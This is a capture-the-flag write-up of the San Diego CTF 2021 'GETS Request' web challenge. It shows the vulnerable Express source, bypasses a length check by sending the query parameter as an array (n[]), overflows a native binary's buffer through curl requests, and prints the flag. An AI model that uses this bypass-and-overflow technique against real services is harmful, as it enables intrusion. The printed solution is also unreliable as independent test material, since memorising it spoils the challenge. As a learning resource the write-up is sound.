# San Diego CTF 2021 : GETS Request
> [time=Sun, May 10, 2021 7:11 PM]
###### tags: `CTF` `web` `get-parameter-length-bypass` `nodejs` `spawn`
## Challenge Description
![](https://i.imgur.com/Nh8u2lr.png)
<br>
## Disclaimer
> I did not solve the challenge in time
> I found the solution on discord, later
> This write-up helps you understand the detailed solution
## TL;DR
* The website is intented to calculate the no. of primes under the given number. It takes the user provided number as a get-parameter - `n`
* Length of the get parameter is checked using **length** attribute in js
* This length check can be bypassed using passing `n` as an array like `n[]`. Now, how big the input is, array length, that is no. of elements in an array is going to stay 1.
* And the input is passed as an argument to a binary. But there was no buffer length check inside the binary.
* So this is a classic case of Buffer Overflow!.
* Here, just generating a segmentation-fault would give us the flag.
<br>
## Source code
```javascript=
const spawn = require('child_process').spawn;
const express = require('express');
const PORT = process.env.PORT || 1337;
const app = express();
const BUFFER_SIZE = 8;
app.get('/prime', (req, res) => {
if(!req.query.n) {
res.status(400).send('Missing required parameter n');
return;
}
// Here to check the length of `n`, length attribute is used
if(req.query.n.length > BUFFER_SIZE) {
res.status(400).send('Requested n too large!');
return;
}
let output = '';
const proc = spawn(__dirname + '/primegen');
proc.stdout.on('data', data => output += data.toString());
proc.on('exit', () => res.send(output));
// call our super-efficient native prime generator!
// Here, the user input is passed as argument to primegen binary
proc.stdin.write(`${req.query.n}\n`);
})
app.use('/', (req, res) => {
res.sendFile(__dirname + '/index.html');
});
app.use('*', (req, res) => {
res.status(404).send('Not Found');
});
app.listen(PORT, () => {
console.log(`prime generator listening at http://localhost:${PORT}`)
})
```
<br>
## Solution
### Littile quirk in javascript
Take a look at following javascript code
Array is concatenated with a string -
![](https://i.imgur.com/PXmFcLV.png)
It's like js tries to convert the elemnts in array into strings and performs the concatenation. If multiple arguments are specifies, it adds a `,` (comma) between the elements. So it a single element is provided the `'hello'` and ``['hello']`` are treated same in certain scenario. So let's make use of this later.
### Length check bypass
In `line 45` in above source code, there length check of `n` using `length` attribute. This attribute can also be used with the array to give number of elements in the array.
Look the code below -
![](https://i.imgur.com/orp9a6x.png)
Notice the difference!!
So, if the parameter is passed as an array rather a string, that would bypass the length check. And same time the array will be treated as a string by JS and it is passed as an argument to a binary.
### Exploitation
The request to get the primes count -
```
curl https://gets.sdc.tf/prime?n=1000
```
```
There are exactly 192 primes under 1000
```
Trying larger number (more than 8 digits) as input -
```
curl https://gets.sdc.tf/prime?n=123456789
```
```
Requested n too large!
```
Send the same number as an array -
```
curl https://gets.sdc.tf/prime?n[]=123456789
```
```
number malformed
```
Cool. We didn't hit the check now. But the binary doesn't accept this number.
As mentioned in the description, about `memory issues`, an ideal thought would be `memory corruption`, with a hypothesis, may be length of input is not checked in the binary but only has been checked in the JS.
With this in mind, trying a larger number to overflow the buffer may cause a `Segmentation Fault`.
Trying larger input -
```
curl https://gets.sdc.tf/prime?n[]=12345678955555555555555555
```
```
buffer overflow! sdctf{B3$T_0f-b0TH_w0rLds}
```
Bingo!. We got the flag.
Wait, what ??
> How could a **Segmentation Fault** would give the flag ?
The binary uses `SIGSEGV` signal and `sigsegv_handler` which are usually used for handling **segmentation faults** (Probably a bad idea! :). Here, in this case, the seg fault generates a `SIGSEGV` which evokes the `sigsegv_handler` which is just a some function to do something. Here the handler just prints the flag. Authour probably wanted to make the binary part of challenge, simple.
<br>
## Flag
> sdctf{B3$T_0f-b0TH_w0rLds}
<br>
## Takeaways
* Try in different ways to bypass checks and other functionalities. Search for quirks. Google it.
* Try to use previous bypasses in other platforms on the current platform. May be sometimes that works or just gives a clue of further exploitation.
<br>
<br>
Happy Hacking!
<br>
<br>
> Feel free to provide feedback.
> [Twitter](https://twitter.com/z0k_r)
> [Discord](httpps://discord.com/users/539772083878494219)